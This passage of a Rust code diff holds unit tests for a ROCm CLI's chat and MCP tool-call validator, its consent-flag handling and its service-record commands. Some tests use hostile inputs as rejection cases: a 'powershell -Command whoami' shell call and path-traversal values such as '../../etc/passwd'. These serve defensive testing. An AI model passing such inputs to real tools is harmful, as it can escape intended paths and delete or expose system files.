"gpu-box".to_owned(), + ], + vec!["remote".to_owned(), "status".to_owned()], + ]; + for args in read_only { + let action = chat_rocm_command_action_from_args(args.clone()) + .unwrap_or_else(|err| panic!("{args:?} should classify: {err}")); + assert!( + matches!(action, ChatRocmCommandAction::ReadOnly(_)), + "{args:?} should be read-only, got {action:?}" + ); + } + + // Paired with whether the command has a `--yes` to inject. The flag + // exists to keep a consent prompt from hanging a null-stdin spawn, so + // the demand only makes sense for commands that would prompt — and + // injecting it where clap defines no such flag would make the spawn fail + // to parse rather than succeed unattended. + let mutating = [ + (vec!["update".to_owned(), "--apply".to_owned()], true), + // These start, publish or tear down on another machine. They take no + // `--yes` because they never prompt: consent is the approval step + // itself, and every destructive choice they make is already settled + // by an explicit flag (`remote stop --force`). Give any of them an + // interactive prompt and it needs a consent flag here too. + ( + vec![ + "remote".to_owned(), + "serve".to_owned(), + "gpu-box".to_owned(), + "m".to_owned(), + ], + false, + ), + ( + vec!["remote".to_owned(), "attach".to_owned(), "sess".to_owned()], + false, + ), + ( + vec!["remote".to_owned(), "stop".to_owned(), "sess".to_owned()], + false, + ), + (vec!["comfyui".to_owned(), "install".to_owned()], true), + (vec!["comfyui".to_owned(), "start".to_owned()], true), + (vec!["comfyui".to_owned(), "stop".to_owned()], true), + (vec!["uninstall".to_owned()], true), + (vec!["setup".to_owned(), "reset".to_owned()], true), + ( + vec![ + "runtimes".to_owned(), + "uninstall".to_owned(), + "old-runtime".to_owned(), + ], + true, + ), + ( + vec![ + "runtimes".to_owned(), + "remove".to_owned(), + "old-runtime".to_owned(), + ], + true, + ), + ]; + for (args, expects_yes) in mutating { + let action = chat_rocm_command_action_from_args(args.clone()) + .unwrap_or_else(|err| panic!("{args:?} should classify: {err}")); + match &action { + ChatRocmCommandAction::Approval { args, .. } => { + assert_eq!( + args.iter().any(|arg| arg == "--yes"), + expects_yes, + "{args:?} disagrees with whether the approval path should \ + carry --yes" + ); + } + other @ ChatRocmCommandAction::ReadOnly(_) => { + panic!("{args:?} should require approval, got {other:?}") + } + } + } + } + + /// Resolve the argv a non-interactive surface produces the way `install()` + /// does, so a test can assert what that argv actually consents to rather + /// than which flag string it happens to contain. + fn consents_for_install_sdk_argv(args: &[String]) -> SdkInstallConsents { + let cli = + Cli::try_parse_from(std::iter::once("rocm".to_owned()).chain(args.iter().cloned())) + .unwrap_or_else(|error| { + panic!("{args:?} must parse as a `rocm` invocation: {error}") + }); + let Some(Command::Install { + target: + InstallTarget::Sdk { + yes, + approve_replacing_active_default, + .. + }, + }) = cli.command + else { + panic!("{args:?} is not an `install sdk` invocation"); + }; + SdkInstallConsents::resolve(yes, approve_replacing_active_default) + } + + #[test] + fn install_sdk_chat_and_mcp_args_approve_the_replacement_for_a_non_interactive_spawn() { + // The chat/MCP surfaces spawn `rocm` with null stdin, so the consent + // prompt would refuse with "re-run with + // `--approve-replacing-active-default`" — a flag the user has no way to + // supply from chat or the dashboard. Both the chat classifier + // arm and the MCP tool-args builder must inject the consent so an + // install over the active default runtime is not silently refused. + let action = chat_rocm_command_action_from_args(vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + // The classifier requires a user-chosen (non-system) install folder. + "--prefix".to_owned(), + "/home/tester/rocm-managed".to_owned(), + ]) + .expect("install sdk classifies"); + let chat_args = match action { + ChatRocmCommandAction::Approval { args, .. } => args, + other @ ChatRocmCommandAction::ReadOnly(_) => { + panic!("install sdk must require approval, got {other:?}") + } + }; + + // The MCP `install_sdk` tool builds its own argv (it does not route + // through the classifier above), so it must add the flag independently. + let call = providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), + }; + let mcp_args = rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"); + + for args in [&chat_args, &mcp_args] { + assert_eq!( + consents_for_install_sdk_argv(args).replace_active_default, + therock::SdkInstallConsent::Preapproved( + therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault + ), + "the spawn must approve replacing the active default, and be credited \ + to the flag it actually passed rather than to --yes, got {args:?}" ); - record.status = "failed".to_owned(); - record.created_at_unix_ms = created_at; - record.write()?; } + } - let rendered = render_services_text(&paths, false)?; - let all = render_services_text(&paths, true)?; - let _ = fs::remove_dir_all(root); - - assert!(rendered.contains("Status: 2 not running"), "{rendered}"); - assert!(!rendered.contains("none ready"), "{rendered}"); - assert!( - rendered.contains("No local servers are running."), - "{rendered}" + #[test] + fn an_injected_consent_does_not_approve_privileged_package_installs() { + // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI + // absent, and neither root nor passwordless sudo. The chat, MCP and + // daemon surfaces spawn `rocm` with null stdin, so there is no terminal + // on which a `sudo` password prompt could ever be answered. Injecting + // `--yes` to clear the runtime-replacement prompt used to grant the + // second, unrelated consent that flag carries, which made + // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then + // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` + // before the vLLM engine install that previously warned and continued. + let call = providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), + }; + let injected = consents_for_install_sdk_argv( + &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), ); - assert!( - rendered - .contains("Past attempts: 2 local server record(s) that are no longer running."), - "{rendered}" + assert_eq!( + injected.replace_active_default, + therock::SdkInstallConsent::Preapproved( + therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault + ) ); assert!( - rendered.contains(" See them: rocm services list --all"), - "{rendered}" + !injected.system_packages, + "an injected consent must not approve a privileged package install" ); - // A real id, newest first, so the line can be pasted as-is. - assert!( - rendered.contains(" Read the newest: rocm services logs svc-newest"), - "{rendered}" + assert_eq!( + system_package_install_action(injected.system_packages, false), + SystemPackageInstallAction::PrintManualCommands, + "on a host without passwordless sudo the spawn must print the commands, not run sudo" ); - // The other two lines only let the user look. Each record keeps an - // unrotated engine log, so `prune` is the only line here that gets any - // of that space back - without it the block is a dead end on exactly - // the host that needs it most. - assert!( - rendered.contains(" Reclaim the space: rocm services prune"), - "{rendered}" + + // And the other half of the property: a `--yes` the user actually typed + // still approves both, and a failure of the install it asked for is + // still an error rather than a warning. + let typed = consents_for_install_sdk_argv(&[ + "install".to_owned(), + "sdk".to_owned(), + "--yes".to_owned(), + ]); + assert_eq!( + typed.replace_active_default, + therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), + "a --yes the user typed must still be credited to --yes" + ); + assert!(typed.system_packages); + assert_eq!( + system_package_install_action(typed.system_packages, false), + SystemPackageInstallAction::RunPlan { + approval: "granted by --yes", + escalate_failure: true, + }, + ); + + // Root or passwordless sudo installs without any approval, as before — + // the consent split must not have made the automatic path conditional. + assert_eq!( + system_package_install_action(injected.system_packages, true), + SystemPackageInstallAction::RunPlan { + approval: "auto (root or passwordless sudo available)", + escalate_failure: false, + }, ); - // The `--all` header is fixed by the same change; it lists the rows, so - // it does not repeat the pointer. - assert!(all.contains("Status: 2 not running"), "{all}"); - assert!(all.contains("- svc-newest"), "{all}"); - assert!(!all.contains("Past attempts:"), "{all}"); - Ok(()) } - /// The host this change is NOT meant to touch: nothing has ever been served, - /// so there is no record to point at and the output must read exactly as it - /// did before. Every other test here plants at least one record, so without - /// this one the zero case has no coverage at all - and it is the case the - /// hint's separator regressed, by printing a blank line the old output never - /// had between "No local servers are running." and the next line. #[test] - fn render_services_text_leaves_a_host_that_never_served_untouched() -> Result<()> { - let (root, paths) = test_paths("services-never-served"); - paths.ensure()?; - - let rendered = render_services_text(&paths, false)?; - let _ = fs::remove_dir_all(root); + fn chat_rocm_command_runs_read_only_and_rejects_risky_shapes() { + let status = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["rocm", "comfy", "status"] + }), + }; + validate_chat_tool_call(&status).expect("ComfyUI status should validate"); + assert!(chat_tool_call_is_read_only(&status)); + assert_eq!( + rocm_chat_tool_requested_command(&status).as_deref(), + Some("rocm comfyui status") + ); + let logs = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["comfyui", "logs"] + }), + }; + validate_chat_tool_call(&logs).expect("ComfyUI logs should validate"); + assert!(chat_tool_call_is_read_only(&logs)); assert_eq!( - rendered, - "Local Servers\n\ - \n\ - Status: none ready\n\ - \n\ - No local servers are running.\n\ - Start one with `rocm serve --managed`, or run `rocm` and choose Serve.\n", - "{rendered}" + rocm_chat_tool_requested_command(&logs).as_deref(), + Some("rocm comfyui logs") ); - Ok(()) + + let cpu = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["serve", "tiny.gguf", "--engine", "vllm", "--device", "cpu"] + }), + }; + let error = validate_chat_tool_call(&cpu).unwrap_err().to_string(); + assert!(error.contains("CPU execution")); + + let public_flag = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["serve", "tiny.gguf", "--engine", "vllm", "--allow-public-bind", "--managed"] + }), + }; + let error = validate_chat_tool_call(&public_flag) + .unwrap_err() + .to_string(); + assert!(error.contains("public network binding")); + + let foreground = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["serve", "qwen", "--engine", "vllm", "--foreground"] + }), + }; + let error = validate_chat_tool_call(&foreground) + .unwrap_err() + .to_string(); + assert!(error.contains("--managed")); + + let shell = providers::ChatToolCall { + id: None, + name: "rocm_command".to_owned(), + arguments: serde_json::json!({ + "args": ["powershell", "-Command", "whoami"] + }), + }; + let error = validate_chat_tool_call(&shell).unwrap_err().to_string(); + assert!(error.contains("unsupported rocm command")); } - /// A host can have one server running and several that failed, so the - /// populated branch of the default view needs the same pointer as the empty - /// one - the failed records are hidden there too. #[test] - fn render_services_text_points_at_past_attempts_beside_a_live_server() -> Result<()> { - let (root, paths) = test_paths("services-past-attempts-mixed"); - paths.ensure()?; - let current_pid = std::process::id(); - // `starting` skips the endpoint probe and this process is a - // guaranteed-live pid, so the record stays live without any network. - let mut live = ManagedServiceRecord::new( - &paths, - "svc-live", - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - 11501, - "managed", - current_pid, - None, - None, - None, - ); - live.status = "starting".to_owned(); - live.engine_pid = Some(current_pid); - live.created_at_unix_ms = 3_000; - live.write()?; - for (service_id, created_at) in [ - ("svc-failed-older", 1_000_u128), - ("svc-failed-newest", 2_000_u128), - ] { - let mut record = ManagedServiceRecord::new( - &paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - 11502, - "managed", - 999_999_999, - None, - None, - None, - ); - record.status = "failed".to_owned(); - record.created_at_unix_ms = created_at; - record.write()?; - } + fn assistant_read_only_rocm_commands_do_not_fallback_to_child_process() { + let (_root, paths) = test_paths("readonly-rocm-in-process-only"); + let args = vec!["services".to_owned(), "status".to_owned()]; - let rendered = render_services_text(&paths, false)?; - let _ = fs::remove_dir_all(root); + let error = run_rocm_command_for_paths(&paths, &args, Duration::from_secs(1)) + .unwrap_err() + .to_string(); - assert!( - rendered.contains("Status: 1 starting, 2 not running"), - "{rendered}" - ); - // Rows stay filtered: only the live server is listed. - assert!(rendered.contains("- svc-live"), "{rendered}"); - assert!(!rendered.contains("- svc-failed-newest"), "{rendered}"); - assert!( - rendered - .contains("Past attempts: 2 local server record(s) that are no longer running."), - "{rendered}" - ); - assert!( - rendered.contains(" See them: rocm services list --all"), - "{rendered}" - ); - assert!( - rendered.contains(" Read the newest: rocm services logs svc-failed-newest"), - "{rendered}" - ); - Ok(()) + assert!(error.contains("read-only assistant command is not implemented in-process")); + assert!(error.contains("rocm services status")); + assert!(!paths.data_dir.join("logs").exists()); } #[test] - fn services_json_round_trips_and_applies_the_same_liveness_filter_as_the_table() -> Result<()> { - // This JSON is a contract, not a convenience: `rocm remote` parses it - // back over its control channel to learn which service a remote serve - // just started. Two things have to hold — every record survives the - // round trip, and `--json` agrees with the table about what is live. If - // they disagreed, the remote orchestration would act on a different set - // of services than the operator sees. - let (root, paths) = test_paths("services-json"); - paths.ensure()?; - let current_pid = std::process::id(); - for (service_id, status, port) in [ - ("svc-live", "starting", 11440_u16), - ("svc-past", "failed", 11441_u16), - ] { - let mut record = ManagedServiceRecord::new( - &paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - port, - "managed", - current_pid, - Some("therock-release".to_owned()), - None, - Some("gpu_required".to_owned()), - ); - record.status = status.to_owned(); - record.write()?; - } - - let live = render_services_json(&paths, false)?; - let every = render_services_json(&paths, true)?; - let _ = fs::remove_dir_all(root); + fn internal_mcp_read_only_rocm_command_runs_in_process() { + let (_root, paths) = test_paths("mcp-readonly-rocm-in-process"); - let live: Vec = serde_json::from_str(&live)?; - let every: Vec = serde_json::from_str(&every)?; + let result = run_internal_mcp_call( + &paths, + "rocm_command", + serde_json::json!({ "args": ["version"] }), + false, + ) + .expect("read-only rocm mcp-call should run"); assert_eq!( - live.iter() - .map(|r| r.service_id.as_str()) - .collect::>(), - vec!["svc-live"], - "the default listing must hide past attempts, exactly as the table does" + result.get("isError").and_then(serde_json::Value::as_bool), + Some(false) ); - let mut every_ids = every - .iter() - .map(|r| r.service_id.as_str()) - .collect::>(); - every_ids.sort_unstable(); - assert_eq!(every_ids, vec!["svc-live", "svc-past"]); - - // The fields remote orchestration actually reads must survive intact. - let record = &live[0]; - assert_eq!(record.port, 11440); - assert_eq!(record.status, "starting"); - // Note for remote orchestration: the recorded endpoint is already the - // OpenAI-compatible base, `/v1` suffix included — not a bare origin. - assert_eq!(record.endpoint_url, "http://127.0.0.1:11440/v1"); - assert_eq!(record.canonical_model_id, "Qwen/Qwen3.5"); - Ok(()) + assert_eq!( + result + .pointer("/structuredContent/argv/0") + .and_then(serde_json::Value::as_str), + Some("rocm") + ); + assert!(mcp_tool_result_text(&result).contains(env!("CARGO_PKG_VERSION"))); } #[test] - fn service_records_tolerate_unknown_fields_but_not_missing_required_ones() -> Result<()> { - // A remote may run a different CLI version than the machine driving it. - // Newer fields it emits must not break an older parser, or a version skew - // turns every remote command into a parse error; a genuinely absent - // required field must still fail, and name itself when it does. - // Built from a real record rather than hand-written JSON, so the fixture - // cannot drift out of step with the struct and quietly stop testing the - // thing it claims to. - let (root, paths) = test_paths("services-json-contract"); - paths.ensure()?; - let record = ManagedServiceRecord::new( + fn natural_language_plan_returns_structured_mutating_action() { + let (_root, paths) = test_paths("nl-plan-structured-mutating"); + + let result = run_internal_mcp_call( &paths, - "svc-a", - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - 11440, - "managed", - 4242, - None, - None, - None, - ); - let mut value = serde_json::to_value(&record)?; - let _ = fs::remove_dir_all(root); - let fields = value - .as_object_mut() - .expect("a service record serializes as a JSON object"); + "natural_language_plan", + serde_json::json!({ + "request": "install TheRock into /opt/rocm-target" + }), + false, + ) + .expect("natural_language_plan should plan the request"); - fields.insert( - "a_field_from_a_newer_release".to_owned(), - serde_json::Value::Bool(true), + assert_eq!( + result.get("isError").and_then(serde_json::Value::as_bool), + Some(false) ); - let parsed: ManagedServiceRecord = serde_json::from_value(value.clone()) - .context("a newer remote's extra fields must not break an older parser")?; - assert_eq!(parsed.service_id, "svc-a"); - assert_eq!(parsed.port, 11440); - - value - .as_object_mut() - .expect("still an object") - .remove("port") - .expect("port was present before removal"); - let error = serde_json::from_value::(value) - .expect_err("a missing required field must be rejected, not defaulted") - .to_string(); + // text (rendered plan) preserved. assert!( - error.contains("port"), - "the error should name the missing field, got: {error}" + !result + .pointer("/structuredContent/text") + .and_then(serde_json::Value::as_str) + .unwrap_or_default() + .trim() + .is_empty() + ); + // A known install folder yields a mutating, placeholder-free action. + assert_eq!( + result + .pointer("/structuredContent/action/approval_required") + .and_then(serde_json::Value::as_bool), + Some(true) + ); + assert_eq!( + result + .pointer("/structuredContent/action/has_placeholders") + .and_then(serde_json::Value::as_bool), + Some(false) + ); + let args = result + .pointer("/structuredContent/action/args") + .and_then(serde_json::Value::as_array) + .expect("action args should be present"); + assert!(args.iter().any(|arg| arg.as_str() == Some("install"))); + assert!(args.iter().any(|arg| arg.as_str() == Some("--prefix"))); + } + + #[test] + fn natural_language_plan_returns_placeholder_action_when_incomplete() { + let (_root, paths) = test_paths("nl-plan-structured-placeholder"); + + let result = run_internal_mcp_call( + &paths, + "natural_language_plan", + serde_json::json!({ "request": "serve" }), + false, + ) + .expect("natural_language_plan should plan the request"); + + assert_eq!( + result + .pointer("/structuredContent/action/has_placeholders") + .and_then(serde_json::Value::as_bool), + Some(true) ); - Ok(()) } #[test] - fn render_services_text_demotes_stale_ready_record() -> Result<()> { - let (root, paths) = test_paths("services-stale-ready"); - paths.ensure()?; - let mut record = ManagedServiceRecord::new( - &paths, - "svc-stale-ready", - "lemonade", - "qwen", - providers::BUILTIN_ASSISTANT_MODEL_ID, - "127.0.0.1", - 9, - "managed", - 999_999_999, - Some("therock-release".to_owned()), - None, - Some("gpu_required".to_owned()), - ); - record.status = "ready".to_owned(); - record.engine_pid = Some(999_999_999); - record.write()?; - - let rendered = render_services_text(&paths, false)?; - let all = render_services_text(&paths, true)?; - let reloaded = load_managed_service(&paths, "svc-stale-ready")?; - let _ = fs::remove_dir_all(root); + fn setup_status_renders_in_process() { + let (_root, paths) = test_paths("setup-status-in-process"); - assert!(rendered.contains("No local servers are running.")); - // The transition this test is named for reaches the header too: once the - // record is demoted it is a past attempt, so the header says so instead - // of the old "none ready" - which described the live set correctly and - // the disk misleadingly. - assert!(rendered.contains("Status: 1 not running"), "{rendered}"); - assert!(all.contains("- svc-stale-ready")); - assert!(all.contains(" status: stopped")); - assert_eq!(reloaded.status, "stopped"); - Ok(()) + for args in [ + vec!["setup".to_owned()], + vec!["setup".to_owned(), "status".to_owned()], + ] { + let text = run_rocm_read_only_in_process(&paths, &args) + .expect("setup status read path should render in-process"); + assert!( + !text.trim().is_empty(), + "setup status text should be non-empty for {args:?}" + ); + assert!( + text.contains("ROCm setup"), + "setup status text should be reached for {args:?}: {text}" + ); + } } - /// Plant a managed-service record plus every artifact it owns: the log and - /// endpoint key beside the manifest in `services_dir`, and the engine state - /// file under `/engines//state/`. - fn plant_service_record( - paths: &AppPaths, - service_id: &str, - status: &str, - supervisor_pid: u32, - ) -> Result { - let record = - plant_service_record_without_its_key(paths, service_id, status, supervisor_pid)?; - endpoint_keys::store_endpoint_api_key(paths, service_id, "test-key")?; - Ok(record) + #[test] + fn chat_tool_call_rejects_bad_service_and_watcher_suggestions() { + for (call, expected) in [ + ( + providers::ChatToolCall { + id: None, + name: "service_logs".to_owned(), + arguments: serde_json::json!({ "service_id": "bad/name" }), + }, + "must not contain path separators", + ), + ( + providers::ChatToolCall { + id: None, + name: "automations".to_owned(), + arguments: serde_json::json!({ "event_limit": 1000 }), + }, + "between 1 and 64", + ), + ( + providers::ChatToolCall { + id: None, + name: "watcher_enable".to_owned(), + arguments: serde_json::json!({ + "watcher": "unknown", + "mode": "propose" + }), + }, + "unknown watcher", + ), + ( + providers::ChatToolCall { + id: None, + name: "watcher_disable".to_owned(), + arguments: serde_json::json!({ + "watcher": "server-recover", + "mode": "propose" + }), + }, + "cannot set `mode`", + ), + ] { + let error = validate_chat_tool_call(&call).unwrap_err().to_string(); + assert!(error.contains(expected), "unexpected error: {error}"); + } } - /// Everything [`plant_service_record`] writes *except* the 0600 endpoint - /// key: the manifest, the log, and the engine state file. - /// - /// Split out for the launch-lock test below, which writes the key itself — - /// as `serve` does, before the record — and then has to publish the record - /// without touching the key again. Planting the key a second time there - /// would re-create whatever `prune` had already deleted, turning that test's - /// key assertions into assertions about this helper: they would hold whether - /// or not the sweep had swept. - fn plant_service_record_without_its_key( - paths: &AppPaths, - service_id: &str, - status: &str, - supervisor_pid: u32, - ) -> Result { - let mut record = ManagedServiceRecord::new( - paths, - service_id, - "vllm", - "qwen", - "Qwen/Qwen3.5", - "127.0.0.1", - 9, - "managed", - supervisor_pid, - None, - None, - Some("gpu_required".to_owned()), - ); - status.clone_into(&mut record.status); - record.write()?; - fs::write(&record.log_path, "engine output\n")?; - fs::create_dir_all( - record - .engine_state_path - .parent() - .context("engine state path has a parent")?, - )?; - // Mirror the planted status: `refresh_from_engine_state` adopts whatever - // this file says, so a mismatched value would silently demote the record - // before the code under test ever sees it. - fs::write( - &record.engine_state_path, - serde_json::to_vec(&serde_json::json!({ "status": status }))?, - )?; - Ok(record) + #[test] + fn chat_tool_call_rejects_cpu_and_public_bind_server_requests() { + let cpu = providers::ChatToolCall { + id: None, + name: "launch_server".to_owned(), + arguments: serde_json::json!({ + "model": "tiny.gguf", + "engine": "vllm", + "device": "cpu" + }), + }; + let error = validate_chat_tool_call(&cpu).unwrap_err().to_string(); + assert!(error.contains("CPU execution")); + + let public = providers::ChatToolCall { + id: None, + name: "launch_server".to_owned(), + arguments: serde_json::json!({ + "model": "tiny.gguf", + "engine": "vllm", + "host": "0.0.0.0", + "allow_public_bind": true + }), + }; + let error = validate_chat_tool_call(&public).unwrap_err().to_string(); + assert!(error.contains("public network binding")); + + let host = providers::ChatToolCall { + id: None, + name: "launch_server".to_owned(), + arguments: serde_json::json!({ + "model": "tiny.gguf", + "engine": "vllm", + "host": "0.0.0.0" + }), + }; + let error = validate_chat_tool_call(&host).unwrap_err().to_string(); + assert!(error.contains("non-local host")); } #[test] - fn services_remove_deletes_every_artifact_and_leaves_the_shared_lock() -> Result<()> { - let (root, paths) = test_paths("services-remove-artifacts"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-remove-me", "failed", 999_999_999)?; - // `launch.lock` lives in `services_dir` but belongs to every managed - // launch, not to one service. Removing a record must not touch it. - let lock = paths.managed_launch_lock_path(); - fs::write(&lock, "")?; + fn chat_tool_call_rejects_bad_install_suggestions() { + for (arguments, expected) in [ + ( + serde_json::json!({ "channel": "stable" }), + "unsupported TheRock channel", + ), + ( + serde_json::json!({ "format": "zip" }), + "unsupported TheRock install format", + ), + ( + serde_json::json!({ + "prefix": if cfg!(windows) { "C:\\Windows\\rocm" } else { "/opt/rocm" } + }), + "system install folder", + ), + ( + serde_json::json!({ + "version": "7.13.0a20260605", + "build_date": "2026-06-05" + }), + "both `version` and `build_date`", + ), + ( + serde_json::json!({ "build_date": "not-a-date" }), + "build date", + ), + ( + serde_json::json!({ + "format": "tarball", + "build_date": "2026-06-05" + }), + if cfg!(windows) { + "tarball` installs on Windows" + } else { + "specific TheRock wheel versions" + }, + ), + ] { + let call = providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments, + }; + let error = validate_chat_tool_call(&call).unwrap_err().to_string(); + assert!(error.contains(expected), "unexpected error: {error}"); + } + } - let rendered = remove_managed_service_record(&paths, "svc-remove-me", true); - let rendered = match rendered { - Ok(text) => text, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); + /// Guard: every read-only tool the dash side registers must have a home in + /// the bin's accept-list. A name-only tool (the `doctor` regression caught + /// in review) would otherwise fail end-to-end as "unsupported ROCm tool" + /// while passing the dash-side, name-against-itself completeness checks. + /// + /// We assert the NAME is accepted — not that empty args validate — so the + /// check stays hermetic (no real `BinToolExecutor::execute` / live I/O) and + /// independent of each tool's argument schema. + #[test] + fn read_tool_names_are_subset_of_bin_accept_list() { + for name in rocm_dash_tui::agent::ROCM_READ_TOOL_NAMES { + let call = providers::ChatToolCall { + id: None, + name: name.to_owned(), + arguments: serde_json::json!({}), + }; + if let Err(error) = validate_chat_tool_call(&call) { + let message = error.to_string(); + assert!( + !message.contains("unsupported ROCm tool"), + "ROCM_READ_TOOL_NAMES advertises `{name}` but the bin rejects \ + the name as unsupported: {message}" + ); } - }; - let manifest_exists = record.manifest_path.exists(); - let log_exists = record.log_path.exists(); - let engine_state_exists = record.engine_state_path.exists(); - let key_exists = endpoint_keys::endpoint_key_file_path(&paths, "svc-remove-me").exists(); - let lock_exists = lock.exists(); - let _ = fs::remove_dir_all(&root); - - assert!(!manifest_exists, "the details file must be deleted"); - assert!(!log_exists, "the log must be deleted"); - assert!( - !engine_state_exists, - "the engine state file must be deleted — it lives outside the services folder, \ - so deleting only the two files beside the manifest is what orphans it" - ); - assert!(!key_exists, "the endpoint key file must be deleted"); - assert!(lock_exists, "the shared launch lock must be left alone"); - assert!(rendered.contains("Local server record removed")); - assert!(rendered.contains(" files removed: 4")); - // The log path is the last thing worth knowing before it disappears. - assert!( - rendered.contains(&format!(" log: {}", record.log_path.display())), - "the log path must be printed before the delete:\n{rendered}" - ); - Ok(()) + } } #[test] - fn services_remove_refuses_a_running_record_and_names_stop() -> Result<()> { - let (root, paths) = test_paths("services-remove-live"); - paths.ensure()?; - // The current process is a guaranteed-live PID, so the liveness refresh - // keeps this record in a running state. - plant_service_record(&paths, "svc-live", "ready", std::process::id())?; + fn chat_tool_call_refusal_prioritizes_safe_review_wording() -> Result<()> { + let mut output = String::new(); + let (_root, paths) = test_paths("chat-tool-refusal"); + let response = providers::ChatResponse { + provider: "local".to_owned(), + model: "tiny.gguf".to_owned(), + content: "I can install ROCm.".to_owned(), + tool_calls: vec![providers::ChatToolCall { + id: None, + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ + "channel": "release", + "format": "wheel", + "prefix": "D:\\ROCm\\therock_venvs" + }), + }], + }; - let error = remove_managed_service_record(&paths, "svc-live", true) - .expect_err("removing a running local server must fail"); - let manifest_exists = paths.service_manifest_path("svc-live").exists(); - let _ = fs::remove_dir_all(&root); + let mut progress = None; + append_chat_tool_results( + &paths, + &response, + &mut output, + Some("I can install ROCm."), + &mut progress, + )?; - let message = error.to_string(); - assert!( - message.contains("cannot be removed while it is running"), - "unexpected error: {message}" - ); - assert!( - message.contains("rocm services stop svc-live --yes"), - "the error must name the stop command: {message}" - ); - assert!(manifest_exists, "a refused removal must delete nothing"); + assert!(output.contains("Install ROCm: needs your review")); + assert!(!output.contains("install_sdk: approval required")); + assert!(output.contains("not run: review the approval card before anything runs")); + assert!(output.contains("advanced manual command: rocm install sdk")); + assert!(!output.contains("run the shown ROCm command")); Ok(()) } - /// A manifest still saying `ready` for a process that is gone is the common - /// case this command exists for. `load_managed_services` demotes it to - /// `stopped` while reading, so the live guard has to run on the refreshed - /// record — checking the status as it sits on disk would refuse forever. #[test] - fn services_remove_accepts_a_stale_ready_record_that_refreshed_to_stopped() -> Result<()> { - let (root, paths) = test_paths("services-remove-stale-ready"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-stale", "ready", 999_999_999)?; + fn fallback_tool_call_runs_model_support_checks() { + let call = + fallback_rocm_tool_call_for_prompt("Which LLMs can this machine support?").unwrap(); + assert_eq!(call.name, "rocm_command"); assert_eq!( - serde_json::from_slice::(&fs::read(&record.manifest_path)?)? - .status, - "ready", - "premise: the manifest on disk still claims `ready`" + normalized_chat_rocm_command_args(&call).unwrap(), + vec!["model".to_owned()] ); - let result = remove_managed_service_record(&paths, "svc-stale", true); - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); - - result?; - assert!(!manifest_exists, "the stale record must be removable"); - Ok(()) + assert!(fallback_rocm_tool_call_for_prompt("Which LLM are you using?").is_none()); } #[test] - fn services_remove_requires_yes() -> Result<()> { - let (root, paths) = test_paths("services-remove-yes"); - paths.ensure()?; - plant_service_record(&paths, "svc-needs-yes", "failed", 999_999_999)?; - - let error = remove_managed_service_record(&paths, "svc-needs-yes", false) - .expect_err("removal without --yes must fail"); - let manifest_exists = paths.service_manifest_path("svc-needs-yes").exists(); - let _ = fs::remove_dir_all(&root); - - let message = error.to_string(); - assert!(message.contains("requires --yes"), "unexpected: {message}"); - assert!( - message.contains("rocm services remove svc-needs-yes --yes"), - "unexpected: {message}" + fn local_rocm_tools_chat_uses_fixed_lemonade_qwen_assistant() { + assert_eq!( + local_rocm_tools_assistant_model("local", true), + Some(providers::BUILTIN_ASSISTANT_MODEL_ID) ); - assert!(manifest_exists, "a refused removal must delete nothing"); - Ok(()) + assert_eq!(local_rocm_tools_assistant_model("local", false), None); + assert_eq!(local_rocm_tools_assistant_model("openai", true), None); } #[test] - fn service_record_artifacts_reject_an_engine_that_escapes_the_state_dir() -> Result<()> { - let (root, paths) = test_paths("services-remove-traversal"); - paths.ensure()?; + fn fallback_tool_call_routes_running_questions_to_status_tools() { + let comfy = fallback_rocm_tool_call_for_prompt("Is ComfyUI running?").unwrap(); + assert_eq!(comfy.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&comfy).unwrap(), + vec!["comfyui".to_owned(), "status".to_owned()] + ); + assert!(chat_tool_call_is_read_only(&comfy)); - let by_engine = service_record_artifacts(&paths, "svc-ok", "../../../etc"); - let by_id = service_record_artifacts(&paths, "../../etc/passwd", "vllm"); - let _ = fs::remove_dir_all(&root); + let comfy_port = + fallback_rocm_tool_call_for_prompt("Is ComfyUI running on port 8188?").unwrap(); + assert_eq!(comfy_port.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&comfy_port).unwrap(), + vec!["comfyui".to_owned(), "status".to_owned()] + ); + assert!(chat_tool_call_is_read_only(&comfy_port)); - assert!( - by_engine.is_err(), - "an engine name with `..` must not reach a path this code deletes" + for prompt in [ + "Is vLLM running?", + "is lemonade running?", + "is the model server running?", + "is qwen running?", + ] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "rocm_command", "{prompt}"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec!["services".to_owned(), "list".to_owned(), "--all".to_owned(),], + "{prompt}" + ); + assert!(chat_tool_call_is_read_only(&call), 